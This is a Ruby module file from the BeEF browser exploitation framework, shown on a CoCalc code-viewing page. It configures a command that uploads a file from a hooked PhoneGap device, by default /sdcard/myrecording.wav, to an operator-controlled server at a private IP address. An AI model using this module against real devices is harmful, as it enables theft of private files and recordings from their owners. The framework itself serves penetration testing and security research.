Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_file_upload/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
# phonegap
7
#
8
9
class Phonegap_file_upload < BeEF::Core::Command
10
def self.options
11
[{
12
'name' => 'file_upload_dst',
13
'description' => 'Upload a file from device to your server',
14
'ui_label' => 'Destination',
15
'value' => 'http://192.168.9.130/recv-unauth.php',
16
'width' => '300px'
17
}, {
18
'name' => 'file_upload_src',
19
'description' => 'path to file on device',
20
'ui_label' => 'File Path',
21
'value' => '/sdcard/myrecording.wav',
22
'width' => '300px'
23
}]
24
end
25
26
def callback
27
content = {}
28
content['Result'] = @datastore['result']
29
save content
30
end
31
end
32
33